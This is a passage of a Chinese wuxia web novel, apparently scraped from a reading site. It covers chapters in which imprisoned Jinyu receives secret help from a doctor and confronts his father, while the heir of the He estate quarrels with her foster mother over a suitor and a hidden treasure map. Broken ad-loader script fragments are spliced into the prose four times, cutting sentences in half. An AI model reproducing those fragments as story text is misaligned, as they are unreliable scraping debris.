被押回囚室的路上,瑾瑜满脑子都是紫璇红肿的双眼和虚弱无力的身形,想到魏若琛为了逼他下嫁,说不定还会使出更加残忍的手段,内心就绞痛不已,以至于全然意识不到从无数道鲜血淋漓的伤口中传来的痛楚。 ******************** 紫璇在房中枯坐良久,终于在晚间等来了魏若琛。 看他的样子,似乎也哭了一场,眼角泛红,整张脸也耷拉着。紫璇的穴道已解,想冲上去给他一拳,却还是在最后一刻忍了下来。 看到她怒气冲冲的脸色和扬起又放下的手,魏若琛的委屈再度冲上心头:“我就那么让你讨厌吗?” “讨厌的不是你,而是你的所作所为!”紫璇吼完这句话就回到桌边坐下,头转向一边,似乎一点也不想看到他。 魏若琛很受伤,但还是屏退了守在外面的婢女侍从,走过来坐在她对面,呆呆地看了她很久,才突然问了句:“那位夫人所说的‘甘愿付出,不求汇报’,他是不是都做到了,才赢得了你的心?” 紫璇眉头皱起,很不耐烦道:“我不喜欢你,有没有瑾瑜、他如何对我都与此无关。你能不能放弃这种幼稚至极的竞争。” “我知道了!”魏若琛声音虚弱,“你……你不用反复告诉我。我只是好奇,他到底都做了什么,才配得到你的喜欢……你……”他咬着下唇,似乎很难开口,却还是坚持说了出来,“你能不能告诉我,就当……就当给我讲个故事?” 紫璇这才仔细看了他一眼,白日里他眸中争强好胜的戾气已经褪去,换上了伤感和一丝求教的迫切。她想起他总说自己没有朋友时的哀怨,叹了口气,开始同他讲起自己和瑾瑜的初遇。 叙述的同时,她才发现,自己和瑾瑜竟然一起经历了这么多事。自己是何时动心的呢?她似乎找不到一个明确的时间点,也说不出具体的原因。比起瑾瑜违抗父命、护佑她躲开虹漕帮的围追堵截,和他冒着山中大雨和累累伤痕为自己去山崖上采药还差些跌入山谷,似乎那些点点滴滴的相处和暖人心肺的话语更让她愿意亲近他。只是这些细碎的瞬间无法用语言说明,只是留在她的心上,汇聚成一种无法抗拒的依恋。 魏若琛静静听着,一次都没有插话,一直等她讲完了,才说了句:“原来他比我更早遇到你。” “这个不重要……”紫璇无奈道。 “我知道,我不是要和他比较,我就是想感叹一下,没更早见到你。”魏若琛低着头,比被霜打了的茄子还要蔫巴。 紫璇收住一口气,没再说话。 “为了你,他差点把自己的命都搭上,这样看,他真是非常非常喜欢你,以至于把你看得比自己的命都重要。” “可笑我之前拒绝他时,竟然想以此吓退他。”紫璇想到以前,竟露出一点笑意。 “你说了什么?” “我警告他,要和我在一起,就得做好为了我而死的准备。本想让他知难而退,没想到……” “没想到他根本不怕,还愿意把自己的生命献给你?”魏若琛抢着道。 “那倒没有……”紫璇摇了摇头,脸色更加柔和,“那个时候他初入江湖,根本意识不到后头会有什么危险,自然是答不上来的。实话说,我并不希望任何人因我而死,我的命并不比任何人金贵,又如何能为了自己剥夺别人生的权力。 “在瑾瑜眼里,即使是普通船夫、花船上陪笑的妓女,也并不比其他人低贱。如果他们误入杀局失了性命,同样会令人痛心疾首。之所有会有奉献、会有以命相酬,大多数时候都是为情势所逼。危难之下,会有人为了自己在乎的人牺牲自己,他们不是不爱惜自己的生命,只是没有计较得失而已。不是谁特地要为了另一个人去死的。” 难得听到紫璇讲自己思想深处的东西,魏若琛听得很认真。虽然未曾体会过,却很向往这种生死相依,全然付出的人间真情。 见他沉默不语,紫璇就想再把话说清楚些:“我并不讨厌你。你的一些行为虽然不免跋扈、自私,但并不意味着你是坏人,否则你也不会明知我要逃跑还会想法子帮我离开这里了。你只是……不知道该如何与人亲近而已。我的心已经给了瑾瑜,无论你好不好,或者是不是对我好都不会改变这一点。你……我希望你不要再为这件事而烦恼。如果你愿意,我可以做你的朋友。” 魏若琛抬头,对上紫璇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真诚的眼眸,暖流重新爬上他的心头,一如一年前紫璇告诉他可以试着多活动筋骨,而不是整日做个废人时那样。 “朋友。”他轻声念出这两个字,不禁点了点头,眼底也浮现出笑意,“朋友也好。” 见他如此,紫璇总算是松了一口气,便借机道:“如果你已经不再视他为敌人,我可不可以请你帮忙,让大夫去看看他。他受了鞭伤,如果不处理伤口,搞不好会危及性命。你……” “他要是死了,你真的会怀念他一辈子吗?”魏若琛没有理会她的请求,而是问道。 紫璇愣了一瞬,然后认真答道:“那当然,他是被我所累,如果真的死在这里,我肯定不会忘记的。” 魏若琛再次点头,目光有些眷恋地望着紫璇:“我知道了,我会跟温叔说。” “多谢你!”欢喜瞬间绽放在紫璇脸上,也终于让魏若琛得以窥见她真心喜悦时候的模样。他再度回忆起齐雅雯所说的话,也更能体会其中的深意。并开始有些后悔,原来让她开心这么简单,早知如此,自己又何必去折磨方瑾瑜。 “那,可以请林大夫去看他吗?”紫璇小心翼翼地提出来,“他虽然和我有仇,但之前瑾瑜为帮我腿受了伤,是他给诊治的,我怕这次瑾瑜的腿又有什么不妥,他去看要比其他大夫更能对症一些。” “这个容易。我先前的几个大夫都被爹爹杀了,现在身边也只有他,温叔肯定也不会反对的。” 魏若琛的保证让紫璇喜出望外,眉梢眼角慢慢轻松笑意,魏若琛瞧着这样的她,原先沉重的心也随之浮了上来。 第二天,温叔便请求苏茂霖去关押瑾瑜的牢房给他看伤。 苏茂霖为了维持牢骚人设,向给他引路的下人抱怨了一路,跨进牢狱外间大门的时候,还在叫骂:“那个小子和文家姑娘蛇鼠一窝,做什么让我去给他瞧伤?老夫是你们主人的座上宾,这种小事你们就找不到别的大夫吗?” 那人陪着笑:“四爷息怒,我们少爷心地柔善,您又是难得的医道高手。是他求了温叔特地让您给这个小子看看的,免得他死在这儿,我们都晦气不是?” “瞎说什么,你们没见过死人呐?有什么可晦气的?” “是是是,死个人而已,确实没什么大不了。这不主要少爷留着他还有用嘛!” 苏茂霖一把从他手上夺过药箱,"要不是看在三师兄的面子上,我才不会来呢!" 看守打开牢门,苏茂霖刚要钻进去,齐雅雯不知他是大夫,还以为是魏若琛又着人来找瑾瑜的麻烦,立刻站起来堵在门口,大喝道:“你们要干什么?” 陪苏茂霖同来的那位也喊道:“这位是大夫,你快让开!” “大夫?”齐雅雯疑心不减,隔着牢门觑着苏茂霖。 苏茂霖一面向她使眼色,一面没好气道:“还让不让人看诊?不让我就走了,正好我和这个小子不对付,一点儿也不想给他看伤!” 仰卧在稻草上的瑾瑜听到动静,艰难地撑起一点身子,看到苏茂霖的半张脸,差一点脱口而出:“林……” 167. 矛盾 “闭嘴!一个阶下囚也敢直呼我的大名!是文远骥给你的胆量吗!” 苏茂霖喝断瑾瑜的声音,又冲着此刻一脸茫然地他大骂:“上一回就不该就你,由得你腿断了便好!你同文远骥的女儿沆瀣一气,就同样是我苏茂霖的仇敌!没想到啊,老夫救了你,你竟然这般傲慢!” 他不断使眼色,说话时又加重了“仇敌”二字,瑾瑜虽不十分明白,但也知道要先闭嘴。齐雅雯同样瞧出古怪,苏茂霖虽然口气严厉,神色却很柔和,便留了心眼,让开一步道:“若真是大夫,就请进来吧。” 苏茂霖袖子一甩,极不情愿地进门、蹲地、给瑾瑜诊脉,又查看他的伤口。末了说:“外伤,敷药就成。”又对候在门外的魏宅下人道:“他的伤口沾染了污秽,需得先经过清洗才能上药,否则烂也要烂完了。你去担一些热水,再拿一坛清酒来。” 那人朝里瞧瞧,果见瑾瑜伤口上沾着不少干草和土渣,当下也不怀疑,立刻去办。 瑾瑜想坐起来,苏茂霖见那人走远,立刻上前按住他,低声道:“璇儿让我来的,她很好,暂时不用担心她。” 瑾瑜点头,心中松快不少,又问:“那个年轻人到底是谁?他要逼璇儿嫁他,你知道吗?” “知道,我们已经有了对策,你放心。人马上就会回来,我不能多说。你们怎么样?可有需要我给璇儿传的话。” 瑾瑜摇头,但齐雅雯仍有疑问:“你是谁?” “这位是天魄门苏前辈,文门主的师弟。”瑾瑜回答。 这个名字齐雅雯并不熟悉,但不妨碍她提出下一问:“那你武功应该还不错?” “是又如何?”苏茂霖满脸疑惑。 齐雅雯飞快瞅了一眼外面,没有人出现,便立刻绕到瑾瑜身子后面,揭开那块石头:“我们想从这里逃出去,但是洞口还不够大。请你看看,可否用内力震碎最下面这一处,把它扩大一些?” 苏茂霖闻言也绕过去,看了一眼就明白她的意思。当下也不多话,运内劲于右掌,隔空击在洞口下方,石块轰然掉落,中间的泥土也崩裂成碎块落在了后面的牢房里。 这一番动静并不小,立刻引来了牢外的看守。苏茂霖集中生智,立刻堵在洞口前,把脚虚踩在瑾瑜的脸上,一边手还捶打着高处的墙面,发出“咚咚”的响声,同时骂道:“你嘴巴放干净点!不然老夫让你全身溃烂而死,看那个时候你还嘴贱不嘴贱!” 齐雅雯则趁势跪在他身侧,遮住掉落的几块石头,带着哭声哀求:“求你行行好,他年轻不懂事,瞎说八道冲撞了你,我替他给你道歉。你大人不记……” 没等她说完,外面已经有人叫道:“来两个人帮忙抬水!”进来的看守又瞧了几眼,才出去帮忙。 苏茂霖和齐雅雯立刻动手,准备把几块掉落的石头拼回去,但因为没有泥土支撑,石头立不起来。苏茂霖想起药箱中有汤药,立刻取出浇在碎土块上,随便揉两下作为粘合剂,勉强让石头上了墙。只是泥土颜色发褐红,显然被弄湿了。 瑾瑜瞧出问题,挣扎着坐起,在看守们走过来之前堵在了前面。 先前被支开的魏宅下人指挥着看守们进来一大桶水,并一坛酒,以及一身干净衣裳和若干擦洗用的棉布,没有人注意到这里的变化。瑾瑜三人对视一眼,嘴角露出微不可察的笑意。 苏茂霖作为大夫以冷谈不耐烦的语气又嘱咐了齐雅雯几个字便离开了,下人和看守也随之离开,最后只剩下齐雅雯一人帮瑾瑜清洗伤口和上药裹伤。 走出牢房大门,苏茂霖迎面撞上了匆匆赶来的方乂安。 “你怎么在这?三师兄回来了?”苏茂霖知道他进来不离魏菘泽左右,是以看到他,第一反应是担心魏菘泽出现。 “我……”方乂安失语,脚步虽然停下了,可眼睛还在不住地往里张望。 苏茂霖狐疑地望着他还有他那急不可耐的神色,骤然醒悟:“方瑾瑜是你的儿子?!” 即便心虚,方乂安也还是点了下头,又问他:“你是来给他看伤的吗?他……他还好吧?” 苏茂霖却远没有从震惊中回过神来,如果方瑾瑜是他的儿子,那…… 瞧着他突然转为暴风疾涛般的脸色,方乂安更加心慌:“你……你怎么了?” 连旁边同来的魏宅下人也察觉到不对,关切道:“四爷,四爷,是不是在牢里呆了太久,过于气闷了?” 苏茂霖匆忙压下还没有整理清楚的纷乱思绪,顺着下人的话道:“对,我被人关了七年,是以最讨厌牢狱这种地方,连靠近一点儿都恶心得想吐!” 说完还特地盯着方乂安,果然见他垂下脸不敢再直视自己。苏茂霖心中冷笑,却也不敢再说什么引起怀疑,打乱全盘计划,再出口便是:“想知道你儿子是死是活,就自己去看,恕我无法奉陪了。” 他说完扭头就走,魏宅下人拎着药箱急忙追了上去。 方乂安也不再耽搁,立刻拿出一块令牌,递给门外看守:“你家主人让我来的,可否劳您打开牢房,我去看看我儿子。” 看守仔细检查了他拿的令牌,确认无误之后才引他往里走,打开了囚室铁门上的大锁,让他进去后又重新将门锁上。 齐雅雯正在帮瑾瑜上药,即便已经看到他,也没有抬头,更没有说一个字。 “爹。”瑾瑜先叫了一声。 看着儿子身上斑驳的伤口,方乂安心痛不已,责备的话脱口而出:“都叫你不要招惹是非不要招惹是非,你怎么就是不听!这次还好只是被人抽了几鞭子,要是魏若琛蛮劲儿上来,直接杀了你可怎么办?我听说这件事的时候,吓出了一身冷汗,我只有你一个儿子,你要是出了事,我怎么向方家死去的祖先们……” “瑾瑜不仅是你的儿子,也是我的儿子。”齐雅雯停住手,冷冷地打断他。 方乂安瞬间熄火,面对齐雅雯,他无论如何都是亏欠的。 “而且,是因为我先被你骗了落到歹人手里,瑾瑜才被牵涉进来的,招惹是非的人明明是你,你怎么还有脸说出这种混账话!” “我……”方乂安还想替自己辩解,“可若不是他放不下文紫璇那个丫头,魏菘泽又怎么会让我帮忙设这个局呢……我是被逼的,他们以你的性命相要挟,为了你,我才不得不听命于……” “爹!你有没有想过,若我知道她为了我被恶人抓去,性命堪忧,我会多么厌恶你厌恶我自己?” 他的情绪太过激动,有几处较深的伤口迸裂, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 血水和着药膏,透出难看的粉色。齐雅雯担心他,却也无可奈何,只能恨恨瞪着方乂安。 方乂安再度失语,良久,才在齐雅雯和瑾瑜的双双注视下挤出半句话:“可如果你死了,万般皆休,她……” 瑾瑜撑着身子想要站起,齐雅雯马上去扶他。 “我宁愿自己死,也不愿意做那个害死她的诱饵!” “你说什么!?”方乂安难以置信地看着他。 “瑾瑜说,他宁可死,也不愿意做你们害人的工具,更加不愿害得他心爱的人陷入危险。这些,恐怕你一个字都听不懂吧。”齐雅雯语气更重,话里是掩饰不住的鄙夷。 “爹。人固有一死,虽然我不是什么大人物,就算死了也不会重于泰山,但至少要问心无愧不是吗?如果有一天,爹或者娘不幸被掳,需要我拿命去救,难道你也让我贪生怕死,放任坏人屠戮你们吗?” “可她不是你的亲人!” “父子亲情之外尚有朋友之义!就算我和她只是江湖朋友,为了道义我也不能故意坑害她,何况我已和她许下终生之约,如果她因我而死,我……”说到这儿,瑾瑜已经眼泪纵横,无法言语。 “方乂安何曾像你一样爱过一个女子,在他眼里,什么都比不上他的家门、他自己的利益要紧!” 齐雅雯最后这句话,如一把锋利的刀,剜开了他隐忍二十多年、心中最隐秘的伤口。仿佛一个生活在暗室中的的人突然曝露于阳光之下,他的第一反应是逃。于是,他没有做任何回应,而是大声叫来看守,牢门一开就飞快跑了出去。 ********************** 苏茂霖每日会来一次,但除了伤势,并不会同瑾瑜再多说一句。即便瑾瑜问起紫璇,也只会得到他极为冷谈的语调。 “璇儿那边不牢劳你操心。以后你莫要再招惹她。” 其实,魏若琛近来身体好转,苏茂霖本来就没有什么机会见到紫璇,自然也无法向瑾瑜传达她的情况。他这样说,更多的是带了不满的情绪,瑾瑜又怎会看不出来。 他不清楚前因后果,只能以为苏茂霖知道是他牵累了紫璇,所以迁怒于他。他心中本就有愧,苏茂霖脸色再不好,他都觉得是自己应得的。 “你的伤口已有愈合之相,后面好好上药便可。我以后不会再来了。” 五天后,苏茂霖拆开一处伤口,只看了一眼便站了起来。 “多谢前辈。”瑾瑜低声道。 “你们想从那个洞逃出去?”苏茂霖说完便摇了摇头,“不可能的,不禁牢外有看守,宅中各处皆守卫很严,你们出不去的。” “那怎么办?”齐雅雯有些着急。 “方乂安是魏菘泽的人,你们直接去求他不就行了,何必舍近求远!” 苏茂霖叫来看守,撇下两罐药膏立刻离开,没有再去理会瑾瑜恍然大悟的表情。 “魏菘泽?他是谁?方乂安之前好像也提过他的名字。”齐雅雯等看守锁上门远去,才向瑾瑜发问。 瑾瑜懵然不语,许久才发出一声自嘲的笑:“倪家庄为达目的不惜杀人,爹却可以不费吹灰之力就把我从倪家庄的地牢里救出来,我竟然……竟然从没有多想上一想……” 168. 嫌隙(一) “娘!我年纪不小了,能再次遇见他不容易,你就别管我了好不好!” 贺新韵将男人护在身后,向面前的许淑平嚷道。 许淑平忧心忡忡:“他明明是奔着你在贺家庄的权势地位来的,你就看不出来吗?” “怎么可能?我与他青梅竹马,若不是当年被我爹分开,这会儿我就已经是他的妻子了。他为了等我一直没有娶妻,他对我是真心实意的。娘,你就成全我们好吗?” “你怎么知道他肚子里揣着什么,就凭他几句花言巧语,你就信了?” “娘!”贺新韵失去了耐心,“你婚姻不幸,难道就见不得男人对我好吗? 许淑平嘴巴半张,实在难以相信这是自己爱护多年的人会说出来的话。 贺新塬听了下人的禀报赶过来,只听到了这后头一句,连忙加快脚步挡在二人中间,对贺新韵道:“大姐慎言!”又对许淑平道:“前辈,我姐她口不择言,说了蠢话,您可千万别和她计较。” 许淑平一把将他搡开,喝道:“贺新韵!我养你到现在,不是为了嫁男人做娇妻的!” 贺新韵也不再压制情绪,斜着眼冷笑:“你总算说了实话!你爱我护我,原来都是算计。我现在看清楚了,就不会再受你的摆布!” 说罢她便拉着身后的男子跑了出去。贺新塬看着二人离开的背影跺了下脚,懊恼道:“这都是我的不是!” 贺新韵最后这句更加伤人,徐淑平跌坐在后面的榻上,眼角已经泛起了泪花。贺新塬见她如此,更加内疚不安,立刻上前劝解:“前辈,您别急,这都是大姐她在气头上浑说的,您可千万别往心里去。” 许淑平无力地摇头:“她能在气头上说出来,就说明这些话在她脑子里滚了无数遍……”她长叹了一口气,声音越来越疲软,“没想到,这么多年,我算是白养了她了。” 贺新塬摇头不住,却再也想不出其他安慰的话语了。 ************************ 许淑平与贺新韵认了母女,初时温馨感人,人人称慕。月前却时常爆发出或大或小的争执,像今日这般把话说到极端还是头一回。而一切的源头正是刚刚被贺新韵护在身后的那个男子。 贺永芳被刺身亡之后,贺新韵接任庄主,除了无能惹事的贺新川,贺家本支中就只剩下贺永识的二子贺新塬一人,且他为人一向平和周正,在筹办贺永芳的葬礼时出力甚多,又行止有度,许淑平很是欣赏,便和贺新韵商量了,让他来帮着理事。如此,贺新塬便带着妻小赶在上元节前搬回了贺家庄,更方便自己每日忙碌公事。 以往,贺永识并不看重他,甚少把手底下的事情交给他去办,是以他对贺家庄务及情报秘术的了解也不比贺新韵多多少。但他悟性极高,一点就通。最开始他只负责管理庄内各项日常事务,慢慢地一些关于情报收集的事情许淑平也会找他。遇到从外面截获的消息时,许淑平也会让贺新韵叫上他一起分析商议。 原本一切都很平顺,三人同心,未让贺永芳的横死影响到贺家庄的运行。但一个人的出现打破了这种安稳的局面。 这个人就是贺新韵十五岁时与她互生情愫的那个庄户之子,名叫孙博。当年贺永诏得知自己的女儿对低贱的庄户之子心生爱慕,立刻将女儿禁足,同时将这户人家送走,这才断送了这段姻缘。 孙博和父母背井离乡,父母在外地开了个小铺子讨生活,他仍然成日读书以求功名。 据他说,他自离开贺家,心里就一直没能忘记贺新韵,渐渐地连书都读不进去了,考了两次科举都名落孙山,便收了心帮父母料理生意。父母要给他娶亲,他都以各种理由推据,最初说的是要安心向学备考,有了妻儿难免分心,父母也觉得有理,便同意成亲的事暂且搁置。可他如今已经不考了,父母便又张罗起这件事。他思之再三,心中仍旧放不下年少时的爱恋,便叩谢了父母的养育之恩,远来贺家找她。 但是他来的时候只打听到自己走后没多久,贺永诏身死、贺新韵不知所踪的消息。无奈之下他便四处流浪,逢人便打听贺家大小姐的下落,可一直也没有收获。直到年后,他再度起意,重回西河,终于听说失踪的贺家小姐又回来了,便忙不迭地上门,说要见她。 十年间,贺家的下人们基本都换了一茬,根本不认识他,还以为他是什么打秋风的小混混,立马就要将他打发出去。正好贺新塬那日带着人将妻小接到贺家庄,看到了他和门口小厮推搡争执。虽然他从没见过贺新韵当年的情郎,但这件事儿他是清楚的,便作主将人带了进去,让贺新韵自己去辨认。 贺新韵一听说孙博回来了,最开始也是难以置信,但真见了人便立刻认出他就是当年那个陪她放风筝、给他讲故事的孙博。十多年未见,当年十五六岁的青春少年皆长成了大人,眼睛里也有了些许风霜。贺新韵从没想过有生之年还能再见到这个人,激动之余潸然泪下,也顾不上理会下人们诧异的脸色,立刻和孙博抱在一起痛哭流涕。 当天,贺新韵兴冲冲地去找许淑平,要把孙博介绍给她。哪知许淑平的反应极其冷谈,把孙博晾在一边不说,和贺新韵单独说了几句话之后还不欢而散。下面伺候的人都看到了贺新韵带着孙博步出许淑平处时阴得能滴下水的脸色。 往日里,贺新韵每日除了偶尔单独处理公事,大部分时间都和许淑平在一起。然而从这天起,她便几乎时时和孙博腻在一处。虽然没有落下公事,遇到重要的也会和许淑平商议,但贺新塬发现,母女俩已经不如之前亲近了,除了探讨外间的消息或是庄内的防卫之外,贺新韵不会再多说一句,以往会特定安排给许淑平送去的吃食补药也渐渐断了。 更让许淑平心寒的是,每当贺新韵累了,孙博就会投其所好,要么着人精心排演一部话本上的故事,就在正厅前演给贺新韵看,要么就拉着贺新韵溜出庄子,到他们少时流连过的田庄、山峦去追忆往昔。渐渐地,贺新韵开始不理正事,无论大事小事都着人通知贺新塬去办。 许淑平把贺新韵叫去训斥了几次,反复叮嘱她身为庄主就需担起责任,绝不不可懈怠,却被贺新韵顶了回来:“我既然是庄主,那些劳神费力的公务不就该由下面的人来做么?” 贺新塬听说了这件事,也总是规劝她,可她不但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不听,还说:“二弟,我才是庄主,你来教训我难不成也是想像你爹一样,窃取我的庄主之位吗?” 、 贺新塬是个和软的性子,听见她这样说,也只能闭上嘴不再多话,兢兢业业地把贺家庄内外打理妥当。 许淑平哀叹连连,贺新塬有意安抚,闲暇时也常送去补品,或是亲自过去陪着说几句话儿。 “前辈,贺家庄这边有我,您不用担心。” 许淑平点点头,但眉心依然皱成川字:“你很妥当,贺家就劳烦你多上心吧。” “您说哪里话,我也姓贺,贺家本来就是我的家,我能不上心吗?” “我年纪大了,每日训练这些新来的护院都要费去我不少心力。若不是你,贺家今日不知要乱成什么样子!” “大姐和孙博久别重逢,过于冲动了些也是有的。等过段时间冷静些了,她便会回来的。” “哼!一天到晚只想着男人,没出息的东西!” 提起贺新韵,许淑平脾气便控制不住。贺新塬只好闭上嘴。 ********************** 贺家庄外的山坡上,贺新韵头靠着孙博的肩膀,正在摆弄他刚刚给自己扎的稻草小人,一言不发。 孙博小心问她:“还在生气呢?” “没有。有什么好生气的。” “你别和义母总是吵架,她是长辈,说的话也都是为了你好……” “她是长辈怎么了?是长辈就可以控制我的人生吗?当年我爹都不能这么粗暴地对我,她只是我的义母,凭什么!” “可你总是为了我跟她争执,我……我心里过意不去……都是我不好,我不该来的。” 贺新韵立马坐起来,攥住他的手:“你别这样说!你要是不来,我下半辈子怎么办?我已经没了爹和娘,好不容易认了个义母,可她……总之,有你陪我我才开心,你可别又丢下我一个人。” “我知道我知道,”孙博看着她焦急到要掉泪的样子,心疼地把人揽进怀里,“我既然来了,就肯定不会走。你的下半辈子我来照顾,好不好。” “这才对嘛!” 两个人又说了会儿别的,贺新韵的心情舒展了不少。 孙博便接着劝道:“我说句真心话,你可别恼。你要是恼了,我以后可就再也不敢在这件事上说话了。” “你说,我听着。” “刚刚你和义母说的话太过了,她听了得多伤心啊。一会儿回去,我去找她认个错吧,你正好顺着下来,也给她低个头。咱们日后抬头不见低头见的,这么僵着我怕你难受。” “我不要!”贺新韵把自己从他怀里拔出来,身子转向一边,又闹起了别扭。 孙博无奈摊手,不知道该怎么往下说了。 过了一会儿,贺新韵才转过来,闷闷不乐道:“她是救了我,我也很感激她,这些都不是假的。可是……她做这些也并非完全没有私心。若不是最近发生的事情,我可能永远都不知道,她一直养着我将我隐藏起来,实际上是为了我爹留下的藏宝图。根本不是单纯地为我的安危考虑!” 169. 嫌隙(二) 说起许淑平养育她的目的并不单纯,贺新韵的眼泪便有些止不住。孙博从怀中拿出一方锦帕,温柔地给她擦着眼角,一边又道:“你别胡思乱想,义母不是那样的人。” “你知道什么!”贺新韵打掉他的手,身子坐开些许,“许淑平虽是女流,但心和男人一样狠。我把她的喜好样样放在心上,百般讨好她,她也总是淡淡的。她好像没有心,看人总是要把他们分为有用无用。如果我对她没有例用价值,她是不可能让我待在她身边十年那么久的。” 她说得这样笃定,孙博不免也信了几分,故而问道:“你说的藏宝图是什么?她真的是为了这样东西才把你藏起来的吗?” 贺新韵瞧了他一眼:“你没听说吗?” “我又不是江湖人,到哪里去听说你们江湖上的事情?”孙博摇头。 贺新韵点点头,同他讲起贺永诏和天魄门的关系、苏明启临死前对他的托付,还有父母横死和数月前贺家庄中群豪聚集讨要藏宝图的事情。 “原来是这样,”孙博听罢,啧啧称奇,“这江湖上的传奇可比话本子上的故事跌宕起伏多了。” “我的爹娘就死在这副藏宝图上,你还说风凉话!”贺新韵抱起双臂,不满地瞪着他。 孙博马上赔罪:“我错了我错了!我只是随口感叹,没有要取笑你的意思,也绝不敢对贺庄主和夫人有任何不敬。” 见他伏低做小,自己只要稍稍不如意便会道歉讨好,贺新韵满意极了,很快便消了气:“藏宝图的事我也是最近才知道的。之前我爹让我和娘送去天魄门的信,她从来都没给我看过,我爹真正的死因也一直瞒着我。直到这次江湖人要来贺家庄逼问藏宝图的线索,她才安排让我回来。名义上说要给我爹报仇雪恨……哼!可若要如此,为何早不来,非到这个时候才来。还不是因为藏宝图之事渐为江湖所知,天魄门再也太平不下去了么。” “让你回来,就能解决你说的这个藏宝图的难题吗?” “那当然!小时候我爹写东西的时候时常让我陪伴在侧,他的笔迹、用笔的习惯我都知道,他的任何秘密都瞒不过我。要找一件我爹留下的、藏在贺家的东西,除了我还有谁能办到?” “可是贺庄主故去多年,他即便留下了什么东西,也应当湮没难考了吧?” “这你就不知道了,如果是真正重要的东西,我爹肯定不会随便乱放的,也不会轻易告诉别人。二叔害死了我爹,我爹肯定不会将秘密吐露给他,所以说,二叔虽然做了十年的贺家家主,却从来都不知道贺家庄中还有一处他不知道的地方。” “什么地方?”贺新韵说得如此神秘,勾起了孙博的好奇心。 “密室!” “贺庄主把藏宝图放进了密室!?”孙博也跟着兴奋起来。 贺新韵得意点头。 “那你知道密室在哪吗?” “当然。” “那你去密室瞧过了没?可找到了那副藏宝图?” 贺新韵突然暗了脸色,“我去了,也找到了藏宝图……” “然后呢?” “然后我还没想好要不要交给许淑平。所以就还没有把它取出来。” “怎么了呢?” “我不想给她。给了她,她肯定会把我一脚踹开。没了这件东西,我在她面前可就一点价值都没有了。” “你担心的也对。这么重要的东西,还是行事保险些为好。” 孙博说完便陷入了沉思,半响又道:“可你也不能一直拖着吧,义母迟早会逼问你藏宝图的下落,你势单力薄的,能瞒多久?” “我也发愁。你别看我现在是贺家的庄主,但庄里大小事,哪一件不需要经过许淑平的过问?庄里的护院由她训练,警卫由她部署,贺新塬明显也倒向了她。我茫然四顾,孤立无援,如果不把这个藏宝图交出去,只会不断被架空,直到连这最后的筹码都失去了。” “就没有别的法子吗?既然这幅图这么重要,与其攥在手里不如让它发挥出价值。义母只是暂时和你生了龃龉,你若把东西给她,她遂了愿,也就不会为难你了呀。” “不不不,不能这样……”贺新韵也动起脑筋,“不过有句话你说得还是很有道理的,既然是筹码,那便应该发挥筹码的作用。” “什么意思?你想干什么?”孙博瞧着她眼底渐渐升起喜色,似乎已经想到了解决办法,故有此问。 贺新韵把他拉进一些,低声对他道:“我要是出门就太惹眼了,你愿意帮我做一件事吗。” 孙博立刻点头:“当然愿意!” “你就不问问我让你做的是什么事?要是我叫你杀人越货可怎么办?” “只要是你让我办的事,就算是赴汤蹈火我都不会推辞。” 贺新韵也笑了,伸手摸摸他的脸:“只要做好这件事,咱们有了靠山,我就可以再无顾虑地让你做我的夫婿了,你明白了?” “我懂了,我一定用心办好!” 第二天,孙博便以回家探亲为由离开了贺家庄。贺新韵一直将他送出庄外十里才慢慢往回走。回来时,许淑平正在书房等她,贺新塬也在边上。 她极不情愿地坐在下首,既不行礼问候,也不问许淑平到这里来为了何事。 贺新塬知道母女俩自昨日说了重话之后便再没有见过,自然也不曾有过和解,便站起身,给贺新韵倒了杯茶:“虽说已界三月,可大清早也还是寒风阵阵的,大姐快喝杯热茶暖暖身子。” 贺新韵不好拂他的面子,端起来喝了一口。 贺新塬又道:“前辈一早起来就要找你说话。听说你去送人,便一直在这里坐等,到现在已经等了快一个时辰了。” 贺新韵不接他的话茬,他便有些为难,再次开口之前,许淑平先出声道:“我不和你说别的,若不是天魄门那边出了大事,我也不会来找你,坏了你的兴致。” 贺新韵闻言便又想与她理论,可许淑平却不关心她要做什么说什么,径自从自己袖笼里取出一封已经拆封了的书信,道:昨夜收到远骥来信,紫璇被人掳走了。” “什么!紫璇她不是刚回天魄门没几天吗?!”贺新韵惊呼。她这才意识到事情的严重性,也顾不上再和许淑平置气,立刻从她手上接过信,飞速读了起来。贺新塬也马上走到她身侧,一并看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 信。 信是长风镖局的总镖头齐建霄写给文远骥的,上面说紫璇到了金陵后,帮忙查找无故失踪的齐雅雯,刚刚找到线索去追,然后便也不见了踪影。据齐建霄所说,对方深思熟虑,行事隐蔽,除了在街面上带走齐雅雯母子之外,再也没有露出其他行迹。他觉得此事非同小可,便立刻修书,让文远骥也赶快想办法追查紫璇和瑾瑜母子的下落。 显然,文远骥为了让许淑平清楚事情的前因后果,便将齐建霄的来信原原本本地誊抄了一份。 两人看罢,还没有说话,仍是许淑平先道:“贺家庄外那一次,紫璇就差点遇险。这次的事很可能只是魏菘泽的新一轮尝试。这回他们竟然把长风镖局也牵连进来,可见为了得到紫璇是不惜代价的。” “事发时齐总镖头就在金陵,也没能查到对方的半点痕迹,我们还能有什么办法吗?紫璇她本来就身体不好,看日子如今至少也被囚禁一个月了,这可怎生是好?!” 和许淑平虽然生了嫌隙,但贺新韵和紫璇从小相伴长大的情谊是抹不掉的。听闻紫璇有危险,她是真心着急担忧。 “我家的情报网还伸不到江南去,如果文门主的爱女是被江南那边的势力掳走的,我们也爱莫能助啊。”贺新塬也道。 “用不着遍查江南,直接查魏菘泽在哪里。” “魏菘泽?您是说故门主的三弟子?”贺新塬问。 “对。” “找到他就能找到紫璇吗?”贺新韵问。 “不好说,因为我们不知道具体是谁操办的这件事,也不知道如今紫璇被藏在那里,但这是最快的法子。” 许淑平站起来,在书房中踱步:“这一项所有阴谋的背后都有他的身影。与其做无头苍蝇到处乱撞不得要领,不如直奔核心。他一直隐于幕后,只让卢金良等人替他出头,就是不想暴露自己。我偏不让他如意,只要我们找到他的老巢,便可釜底抽薪,永绝后患!” 